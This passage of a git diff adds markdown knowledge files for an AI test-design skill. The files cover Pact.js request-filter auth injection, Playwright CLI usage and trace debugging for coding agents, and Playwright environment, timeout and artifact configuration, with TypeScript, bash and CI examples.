+  requestFilter: createRequestFilter({
+    tokenGenerator: () => process.env.TEST_TOKEN ?? 'test-token',
+  }),
+});
+```
+
+### Wrong: Hardcoding consumer version selectors
+
+```typescript
+// ❌ Hardcoded selectors — breaks when flow changes
+consumerVersionSelectors: [{ mainBranch: true }, { deployedOrReleased: true }],
+```
+
+### Right: Let buildVerifierOptions choose selectors
+
+```typescript
+// ✅ Selector strategy adapts to PACT_BREAKING_CHANGE env var
+const opts = buildVerifierOptions({
+  /* ... */
+});
+// Selectors chosen automatically based on environment
+```
+
+_Source: @seontechnologies/pactjs-utils provider-verifier module, pact-js-example-provider CI workflows_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-request-filter.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-request-filter.md
new file mode 100644
index 0000000..d046cf4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/pactjs-utils-request-filter.md
@@ -0,0 +1,224 @@
+# Pact.js Utils Request Filter
+
+## Principle
+
+Use `createRequestFilter` and `noOpRequestFilter` from `@seontechnologies/pactjs-utils` to inject authentication headers during provider verification. The pluggable token generator pattern prevents double-Bearer bugs and separates auth concerns from verification logic.
+
+## Rationale
+
+### Problems with manual request filters
+
+- **Express type gymnastics**: Pact's `requestFilter` expects `(req, res, next) => void` with Express-compatible types — but Pact doesn't re-export these types
+- **Double-Bearer bug**: Easy to write `Authorization: Bearer Bearer ${token}` when the token generator already includes the prefix
+- **Inline complexity**: Auth logic mixed with verifier config makes tests harder to read
+- **No-op boilerplate**: Providers without auth still need a pass-through function or `undefined`
+
+### Solutions
+
+- **`createRequestFilter`**: Accepts `{ tokenGenerator: () => string }` — generator returns raw token value synchronously, filter adds `Bearer ` prefix
+- **`noOpRequestFilter`**: Pre-built pass-through for providers without auth requirements
+- **Bearer prefix contract**: `tokenGenerator` returns raw value (e.g., `"abc123"`), filter always adds `"Bearer "` — impossible to double-prefix
+
+## Pattern Examples
+
+### Example 1: Basic Auth Injection
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: createRequestFilter({
+    // tokenGenerator returns raw token — filter adds "Bearer " prefix
+    tokenGenerator: () => 'test-auth-token-123',
+  }),
+});
+
+// Every request during verification will have:
+// Authorization: Bearer test-auth-token-123
+```
+
+**Key Points**:
+
+- `tokenGenerator` is **synchronous** (`() => string`) — if you need async token fetching, resolve the token before creating the filter
+- Return the raw token value, NOT `"Bearer ..."` — the filter adds the prefix
+- Filter sets `Authorization` header on every request during verification
+
+### Example 2: Dynamic Token (Pre-resolved)
+
+```typescript
+import { createRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// Since tokenGenerator is synchronous, fetch the token before creating the filter
+let cachedToken: string;
+
+async function setupRequestFilter() {
+  const response = await fetch('http://localhost:8080/auth/token', {
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json' },
+    body: JSON.stringify({
+      clientId: process.env.TEST_CLIENT_ID,
+      clientSecret: process.env.TEST_CLIENT_SECRET,
+    }),
+  });
+  const { access_token } = await response.json();
+  cachedToken = access_token;
+}
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => cachedToken, // Synchronous — returns pre-fetched token
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SecureAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter,
+});
+```
+
+### Example 3: No-Auth Provider
+
+```typescript
+import { buildVerifierOptions, noOpRequestFilter } from '@seontechnologies/pactjs-utils';
+
+// For providers that don't require authentication
+const opts = buildVerifierOptions({
+  provider: 'PublicAPI',
+  port: '3001',
+  includeMainAndDeployed: true,
+  stateHandlers: {
+    /* ... */
+  },
+  requestFilter: noOpRequestFilter,
+});
+
+// noOpRequestFilter is equivalent to: (req, res, next) => next()
+```
+
+### Example 4: Integration with buildVerifierOptions
+
+```typescript
+import { buildVerifierOptions, createRequestFilter } from '@seontechnologies/pactjs-utils';
+import type { StateHandlers } from '@seontechnologies/pactjs-utils';
+
+// Complete provider verification setup
+const stateHandlers: StateHandlers = {
+  'user is authenticated': async () => {
+    // Auth state is handled by the request filter, not state handler
+  },
+  'movie exists': {
+    setup: async (params) => {
+      await db.seed({ movies: [{ id: params?.id }] });
+    },
+    teardown: async () => {
+      await db.clean('movies');
+    },
+  },
+};
+
+const requestFilter = createRequestFilter({
+  tokenGenerator: () => process.env.TEST_AUTH_TOKEN ?? 'fallback-token',
+});
+
+const opts = buildVerifierOptions({
+  provider: 'SampleMoviesAPI',
+  port: process.env.PORT ?? '3001',
+  includeMainAndDeployed: process.env.PACT_BREAKING_CHANGE !== 'true',
+  stateHandlers,
+  requestFilter,
+});
+
+// Run verification
+await new Verifier(opts).verifyProvider();
+```
+
+## Key Points
+
+- **Bearer prefix contract**: `tokenGenerator` returns raw value → filter adds `"Bearer "` → impossible to double-prefix
+- **Synchronous only**: `tokenGenerator` must return `string` (not `Promise<string>`) — pre-resolve async tokens before creating the filter
+- **Separation of concerns**: Auth logic in `createRequestFilter`, verification logic in `buildVerifierOptions`
+- **noOpRequestFilter**: Use for providers without auth — cleaner than `undefined` or inline no-op
+- **Express compatible**: The returned filter matches Pact's expected `(req, res, next) => void` signature
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — installation, utility table, decision tree
+- `pactjs-utils-provider-verifier.md` — buildVerifierOptions integration
+- `contract-testing.md` — foundational patterns with raw Pact.js
+
+## Anti-Patterns
+
+### Wrong: Manual Bearer prefix with double-prefix risk
+
+```typescript
+// ❌ Risk of double-prefix: "Bearer Bearer token"
+requestFilter: (req, res, next) => {
+  const token = getToken(); // What if getToken() returns "Bearer abc123"?
+  req.headers['authorization'] = `Bearer ${token}`;
+  next();
+};
+```
+
+### Right: Use createRequestFilter with raw token
+
+```typescript
+// ✅ tokenGenerator returns raw value — filter handles prefix
+requestFilter: createRequestFilter({
+  tokenGenerator: () => getToken(), // Returns "abc123", not "Bearer abc123"
+});
+```
+
+### Wrong: Inline auth logic in verifier config
+
+```typescript
+// ❌ Auth logic mixed with verifier config
+const opts: VerifierOptions = {
+  provider: 'my-api',
+  providerBaseUrl: 'http://localhost:3001',
+  requestFilter: (req, res, next) => {
+    const clientId = process.env.CLIENT_ID;
+    const clientSecret = process.env.CLIENT_SECRET;
+    // 10 lines of token fetching logic...
+    req.headers['authorization'] = `Bearer ${token}`;
+    next();
+  },
+  // ... rest of config
+};
+```
+
+### Right: Separate auth into createRequestFilter
+
+```typescript
+// ✅ Clean separation — async setup wraps token fetch (CommonJS-safe)
+async function setupVerifierOptions() {
+  const token = await fetchAuthToken(); // Resolve async token BEFORE creating filter
+
+  const requestFilter = createRequestFilter({
+    tokenGenerator: () => token, // Synchronous — returns pre-fetched value
+  });
+
+  return buildVerifierOptions({
+    provider: 'my-api',
+    port: '3001',
+    includeMainAndDeployed: true,
+    requestFilter,
+    stateHandlers: {
+      /* ... */
+    },
+  });
+}
+
+// In tests/hooks, callers can await setupVerifierOptions():
+// const opts = await setupVerifierOptions();
+```
+
+_Source: @seontechnologies/pactjs-utils request-filter module, pact-js-example-provider verification tests_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-cli.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-cli.md
new file mode 100644
index 0000000..a80a91b
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-cli.md
@@ -0,0 +1,280 @@
+# Playwright CLI — Browser Automation for Coding Agents
+
+## Principle
+
+When an AI agent needs to look at a webpage — take a snapshot, grab selectors, capture a screenshot — it shouldn't have to load thousands of tokens of DOM trees and tool schemas into its context window just to do that. Playwright CLI gives the agent a lightweight way to talk to a browser through simple shell commands, keeping the context window free for reasoning and code generation.
+
+## Rationale
+
+Playwright MCP is powerful, but it's heavy. Every interaction loads full accessibility trees and tool definitions into the LLM context. That's fine for complex, stateful flows where you need rich introspection. But for the common case — "open this page, tell me what's on it, take a screenshot" — it's overkill.
+
+Playwright CLI solves this by returning concise **element references** (`e15`, `e21`) instead of full DOM dumps. The result: ~93% fewer tokens per interaction, which means the agent can run longer sessions, reason more deeply, and still have context left for your actual code.
+
+**The trade-off is simple:**
+
+- **CLI** = fast, lightweight, stateless — great for quick looks at pages
+- **MCP** = rich, stateful, full-featured — great for complex multi-step automation
+
+TEA uses both where each shines (see `tea_browser_automation: "auto"`).
+
+## Prerequisites
+
+```bash
+npm install -g @playwright/cli@latest    # Install globally (Node.js 18+)
+playwright-cli install --skills          # Register as an agent skill
+```
+
+The global npm install is one-time. Run `playwright-cli install --skills` from your project root to register skills in `.claude/skills/` (works with Claude Code, GitHub Copilot, and other coding agents). Agents without skills support can use the CLI directly via `playwright-cli --help`. TEA documents this during installation but does not run it for you.
+
+## How It Works
+
+The agent interacts with the browser through shell commands. Each command is a single, focused action:
+
+```bash
+# 1. Open a page
+playwright-cli -s=tea-explore open https://app.com/login
+
+# 2. Take a snapshot — returns element references, not DOM trees
+playwright-cli -s=tea-explore snapshot
+# Output: [{ref: "e15", role: "textbox", name: "Email"},
+#          {ref: "e21", role: "textbox", name: "Password"},
+#          {ref: "e33", role: "button", name: "Sign In"}]
+
+# 3. Interact using those references
+playwright-cli -s=tea-explore fill e15 "user@example.com"
+playwright-cli -s=tea-explore fill e21 "password123"
+playwright-cli -s=tea-explore click e33
+
+# 4. Capture evidence
+playwright-cli -s=tea-explore screenshot --filename=login-flow.png
+
+# 5. Clean up
+playwright-cli -s=tea-explore close
+```
+
+The `-s=tea-explore` flag scopes everything to a named session, preventing state leakage between workflows.
+
+## What TEA Uses It For
+
+**Selector verification** — Before generating test code, TEA can snapshot a page to see the actual labels, roles, and names of elements. Instead of guessing that a button says "Login", it knows it says "Sign In":
+
+```
+snapshot ref {role: "button", name: "Sign In"}
+  → generates: page.getByRole('button', { name: 'Sign In' })
+```
+
+**Page discovery** — During `test-design` exploratory mode, TEA snapshots pages to understand what's actually there, rather than relying only on documentation.
+
+**Evidence collection** — During `test-review`, TEA can capture screenshots, traces, and network logs as evidence without the overhead of a full MCP session.
+
+**Agent-side test debugging** — For existing failing Playwright tests, TEA should prefer Playwright's agent-facing debug loop over ad hoc manual reproduction: `npx playwright test --debug=cli` to step through the test in CLI mode (no GUI Inspector — designed for coding agents), then `npx playwright trace ...` to inspect the resulting trace artifact from the command line. The `--debug=cli` flag (Playwright 1.59+) lets agents attach, step through execution, and inspect page state without ever opening a browser window.
+
+## How CLI Relates to Playwright Utils and API Testing
+
+CLI and playwright-utils are **complementary tools that work at different layers**:
+
+|              | Playwright CLI                               | Playwright Utils                                 |
+| ------------ | -------------------------------------------- | ------------------------------------------------ |
+| **When**     | During test _generation_ (the agent uses it) | During test _execution_ (your test code uses it) |
+| **What**     | Shell commands to observe your app           | Fixtures and helpers imported in test files      |
+| **Examples** | `snapshot`, `screenshot`, `network`          | `apiRequest`, `auth-session`, `network-recorder` |
+
+They work together naturally. The agent uses CLI to _understand_ your app, then generates test code that _imports_ playwright-utils:
+
+```bash
+# Agent uses CLI to observe network traffic on the dashboard page
+playwright-cli -s=tea-discover open https://app.com/dashboard
+playwright-cli -s=tea-discover network
+# Output: GET /api/users → 200, POST /api/audit → 201, GET /api/settings → 200
+playwright-cli -s=tea-discover close
+```
+
+```typescript
+// Agent generates API tests using what it discovered, with playwright-utils
+import { test } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test('GET /api/users returns user list', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest<User[]>({
+    method: 'GET',
+    path: '/api/users',
+  });
+  expect(status).toBe(200);
+  expect(body.length).toBeGreaterThan(0);
+});
+```
+
+**For pure API testing** (no UI involved), `playwright-cli` browser commands (snapshot, screenshot, click) don't apply — there's no page. But **trace analysis is highly valuable**. Playwright captures full network traces for API tests (requests, responses, headers, timing), and the trace CLI lets the agent inspect them programmatically:
+
+```bash
+# API test fails in CI → open the trace artifact
+npx playwright trace open test-results/api-users/trace.zip
+
+# What HTTP call failed?
+npx playwright trace requests --failed
+# Output: #3  POST /api/users  → 422  12ms
+
+# Full request/response details (headers, body, timing)
+npx playwright trace request 3
+
+# What assertion failed and why?
+npx playwright trace errors
+
+# Done
+npx playwright trace close
+```
+
+This gives the agent the full HTTP conversation — wrong payload, expired auth token, schema mismatch, upstream 5xx — without a human opening UI mode. The agent generates API tests directly from documentation, specs, or code analysis using `apiRequest` and `recurse` from playwright-utils, and uses trace analysis to diagnose failures.
+
+**For E2E testing**, CLI shines at both ends — browser commands (snapshot, screenshot) during test generation, and trace analysis (actions, snapshots, requests) during debugging.
+
+**Bottom line:** CLI helps the agent _write better tests_. Playwright-utils helps those tests _run reliably_. Trace analysis helps the agent _fix them when they break_.
+
+## Session Isolation
+
+Every CLI command targets a named session. This prevents workflows from interfering with each other:
+
+```bash
+# Workflow A uses one session
+playwright-cli -s=tea-explore open https://app.com
+
+# Workflow B uses a different session (can run in parallel)
+playwright-cli -s=tea-verify open https://app.com/admin
+```
+
+For parallel safety (multiple agents on the same machine), append a unique suffix:
+
+```bash
+playwright-cli -s=tea-explore-<timestamp> open https://app.com
+```
+
+## Autonomous Trace Investigation (Playwright 1.59+)
+
+For generated tests that already exist and are failing, Playwright 1.59 introduced CLI-native debugging and trace analysis designed specifically for AI agents. Instead of downloading traces and opening the GUI Trace Viewer, agents can now consume the entire trace context directly from the command line.
+
+### Debug a Failing Test (CLI Mode)
+
+```bash
+# Start the test in CLI debug mode — no GUI Inspector, agent-friendly output
+npx playwright test --debug=cli
+playwright-cli attach <session-id>
+playwright-cli --session <session-id> step-over
+```
+
+With `--debug=cli`, the agent can:
+
+- Step through test execution in real-time
+- Inspect the page's HTML source at each step
+- Review network calls and console logs at the moment of failure
+- Capture before/after snapshots without opening a browser
+
+### Investigate a Trace Artifact
+
+```bash
+# Open a trace from CI or local runs — this starts a session
+npx playwright trace open test-results/<run>/trace.zip
+
+# List all actions as a numbered tree (# column = 1-based ordinal)
+npx playwright trace actions
+# Output: #  Time     Action                Duration
+#         1  0:00.00  navigate(...)         120ms
+#         2  0:00.12  fill(#email, ...)     45ms
+#         ...
+#         9  0:01.50  expect(toBeVisible)   ✗ 30s
+
+# Filter to failing assertions
+npx playwright trace actions --grep="expect"
+
+# Drill into action #9 (the ordinal from the list above)
+npx playwright trace action 9
+
+# See the page snapshot after that action (valid: before | input | after)
+npx playwright trace snapshot 9 --name after
+
+# Other useful subcommands
+npx playwright trace errors                  # errors with stack traces
+npx playwright trace requests --failed       # failed network requests
+npx playwright trace console --errors-only   # console errors
+
+# Close when done (removes extracted data)
+npx playwright trace close
+```
+
+### Autonomous Diagnostic Loop
+
+When TEA encounters a failing test in healing/review mode, the recommended investigation flow is:
+
+1. **Run with `--debug=cli`** to step through the failure and identify the failing action
+2. **Get a trace artifact** — configure `trace: 'retain-on-failure'` in `playwright.config.ts` (recommended), add `--trace=retain-on-failure` to the test run, or use an existing CI trace artifact. For `playwright-cli` sessions (not `--debug=cli`), use `tracing-start` / `tracing-stop` instead.
+3. **Filter to assertions** (`trace actions --grep="expect"`) to find the failure point
+4. **Inspect the snapshot** (`trace snapshot <n> --name after`) to see exact page state at failure
+5. **Analyze network/console** to rule out backend issues or timing problems
+6. **Propose a fix** — updated locator, added wait, or flagged flake for human review
+
+This reduces Mean Time to Repair (MTTR) by giving the agent full failure context rather than just an error message.
+
+### When to Use Each Tool
+
+- `playwright-cli` session commands remain the best lightweight tool for page exploration and selector verification.
+- `npx playwright test --debug=cli` is better for stepping through an already-written failing test (agent-native, no GUI).
+- `npx playwright trace ...` is better for understanding flakes and assertion failures from saved artifacts.
+
+If your environment exposes the Playwright dashboard or bound-browser flow, it can help humans inspect what an agent is doing in the background, but TEA should treat that as optional observability rather than a hard dependency.
+
+### Binding a Browser for Agent Inspection (`browser.bind()`)
+
+Playwright 1.59 added `browser.bind()` — a programmatic API that makes a running browser instance available to `playwright-cli` and MCP clients. This is the bridge between "a test is running" and "an agent can see what the test sees."
+
+```typescript
+// In a test or fixture: bind the browser so playwright-cli can attach
+const { endpoint } = await browser.bind('my-debug-session', {
+  workspaceDir: process.cwd(),
+});
+// Now: playwright-cli attach my-debug-session
+```
+
+**When TEA uses this:**
+
+- **Debugging a complex E2E failure** — A test fixture calls `browser.bind()` before the failing scenario, then TEA runs `playwright-cli attach` to inspect live page state, network, and console without re-running the test from scratch.
+- **Bridging CLI and MCP** — A bound browser is accessible to both `playwright-cli` and `@playwright/mcp`. TEA's `auto` mode can start with lightweight CLI inspection and escalate to MCP if richer introspection is needed, all against the same browser instance.
+- **CI artifact enhancement** — A CI helper can bind the browser during test runs, letting a post-failure agent attach and investigate before the process exits.
+
+Call `await browser.unbind()` when done to release the session (async — must be awaited).
+
+## Command Quick Reference
+
+| What you want to do       | Command                                          |
+| ------------------------- | ------------------------------------------------ |
+| Open a page               | `open <url>`                                     |
+| See what's on the page    | `snapshot`                                       |
+| Take a screenshot         | `screenshot [--filename=path]`                   |
+| Click something           | `click <ref>`                                    |
+| Type into a field         | `fill <ref> <text>`                              |
+| Navigate                  | `goto <url>`, `go-back`, `reload`                |
+| Mock a network request    | `route <pattern> --status=200 --body='...'`      |
+| Start recording a trace   | `tracing-start`                                  |
+| Stop and save the trace   | `tracing-stop`                                   |
+| Save auth state for reuse | `state-save auth.json`                           |
+| Load saved auth state     | `state-load auth.json`                           |
+| See network requests      | `network`                                        |
+| Manage tabs               | `tab-list`, `tab-new`, `tab-close`, `tab-select` |
+| Close the session         | `close`                                          |
+
+## When CLI vs MCP (Auto Mode Decision)
+
+| Situation                             | Tool | Why                                |
+| ------------------------------------- | ---- | ---------------------------------- |
+| "What's on this page?"                | CLI  | One-shot snapshot, no state needed |
+| "Verify this selector exists"         | CLI  | Single check, minimal tokens       |
+| "Capture a screenshot for evidence"   | CLI  | Stateless capture                  |
+| "Walk through a multi-step wizard"    | MCP  | State carries across steps         |
+| "Debug why this test fails" (healing) | CLI  | `--debug=cli` + trace analysis     |
+| "Record a drag-and-drop flow"         | MCP  | Complex interaction semantics      |
+
+## Related Fragments
+
+- `overview.md` — Playwright Utils installation and fixture patterns (the test code layer that CLI complements)
+- `api-request.md` — Typed HTTP client for API tests (CLI discovers endpoints, apiRequest tests them)
+- `api-testing-patterns.md` — Pure API test patterns (when CLI isn't needed)
+- `auth-session.md` — Token management (CLI `state-save` informs auth-session usage)
+- `selector-resilience.md` — Robust selector strategies (CLI verifies them against real DOM)
+- `visual-debugging.md` — Trace viewer usage (CLI captures traces)
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-config.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-config.md
new file mode 100644
index 0000000..e4843ce
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/playwright-config.md
@@ -0,0 +1,734 @@
+# Playwright Configuration Guardrails
+
+## Principle
+
+Load environment configs via a central map (`envConfigMap`), standardize timeouts (action 15s, navigation 30s, expect 10s, test 60s), emit HTML + JUnit reporters, and store artifacts under `test-results/` for CI upload. Keep `.env.example`, `.nvmrc`, and browser dependencies versioned so local and CI runs stay aligned.
+
+## Rationale
+
+Environment-specific configuration prevents hardcoded URLs, timeouts, and credentials from leaking into tests. A central config map with fail-fast validation catches missing environments early. Standardized timeouts reduce flakiness while remaining long enough for real-world network conditions. Consistent artifact storage (`test-results/`, `playwright-report/`) enables CI pipelines to upload failure evidence automatically. Versioned dependencies (`.nvmrc`, `package.json` browser versions) eliminate "works on my machine" issues between local and CI environments.
+
+## Pattern Examples
+
+### Example 1: Environment-Based Configuration
+
+**Context**: When testing against multiple environments (local, staging, production), use a central config map that loads environment-specific settings and fails fast if `TEST_ENV` is invalid.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Central config loader
+import { config as dotenvConfig } from 'dotenv';
+import path from 'path';
+
+// Load .env from project root
+dotenvConfig({
+  path: path.resolve(__dirname, '../../.env'),
+});
+
+// Central environment config map
+const envConfigMap = {
+  local: require('./playwright/config/local.config').default,
+  staging: require('./playwright/config/staging.config').default,
+  production: require('./playwright/config/production.config').default,
+};
+
+const environment = process.env.TEST_ENV || 'local';
+
+// Fail fast if environment not supported
+if (!Object.keys(envConfigMap).includes(environment)) {
+  console.error(`❌ No configuration found for environment: ${environment}`);
+  console.error(`   Available environments: ${Object.keys(envConfigMap).join(', ')}`);
+  process.exit(1);
+}
+
+console.log(`✅ Running tests against: ${environment.toUpperCase()}`);
+
+export default envConfigMap[environment as keyof typeof envConfigMap];
+```
+
+```typescript
+// playwright/config/base.config.ts - Shared base configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export const baseConfig = defineConfig({
+  testDir: path.resolve(__dirname, '../tests'),
+  outputDir: path.resolve(__dirname, '../../test-results'),
+  fullyParallel: true,
+  forbidOnly: !!process.env.CI,
+  retries: process.env.CI ? 2 : 0,
+  workers: process.env.CI ? 1 : undefined,
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'test-results/results.xml' }],
+    ['list'],
+  ],
+  use: {
+    actionTimeout: 15000,
+    navigationTimeout: 30000,
+    trace: 'retain-on-failure-and-retries',
+    screenshot: 'only-on-failure',
+    video: 'retain-on-failure',
+  },
+  globalSetup: path.resolve(__dirname, '../support/global-setup.ts'),
+  timeout: 60000,
+  expect: { timeout: 10000 },
+});
+```
+
+```typescript
+// playwright/config/local.config.ts - Local environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'http://localhost:3000',
+    video: 'off', // No video locally for speed
+  },
+  webServer: {
+    command: 'npm run dev',
+    url: 'http://localhost:3000',
+    wait: {
+      stdout: /ready|listening|localhost:/i,
+    },
+    reuseExistingServer: !process.env.CI,
+    timeout: 120000,
+  },
+});
+```
+
+```typescript
+// playwright/config/staging.config.ts - Staging environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://staging.example.com',
+    ignoreHTTPSErrors: true, // Allow self-signed certs in staging
+  },
+});
+```
+
+```typescript
+// playwright/config/production.config.ts - Production environment
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+  retries: 3, // More retries in production
+  use: {
+    ...baseConfig.use,
+    baseURL: 'https://example.com',
+    video: 'on', // Always record production failures
+  },
+});
+```
+
+```bash
+# .env.example - Template for developers
+TEST_ENV=local
+API_KEY=your_api_key_here
+DATABASE_URL=postgresql://localhost:5432/test_db
+```
+
+**Key Points**:
+
+- Central `envConfigMap` prevents environment misconfiguration
+- Fail-fast validation with clear error message (available envs listed)
+- Base config defines shared settings, environment configs override
+- `.env.example` provides template for required secrets
+- `TEST_ENV=local` as default for local development
+- Production config increases retries and enables video recording
+
+### Example 2: Timeout Standards
+
+**Context**: When tests fail due to inconsistent timeout settings, standardize timeouts across all tests: action 15s, navigation 30s, expect 10s, test 60s. Expose overrides through fixtures rather than inline literals.
+
+**Implementation**:
+
+```typescript
+// playwright/config/base.config.ts - Standardized timeouts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  // Global test timeout: 60 seconds
+  timeout: 60000,
+
+  use: {
+    // Action timeout: 15 seconds (click, fill, etc.)
+    actionTimeout: 15000,
+
+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
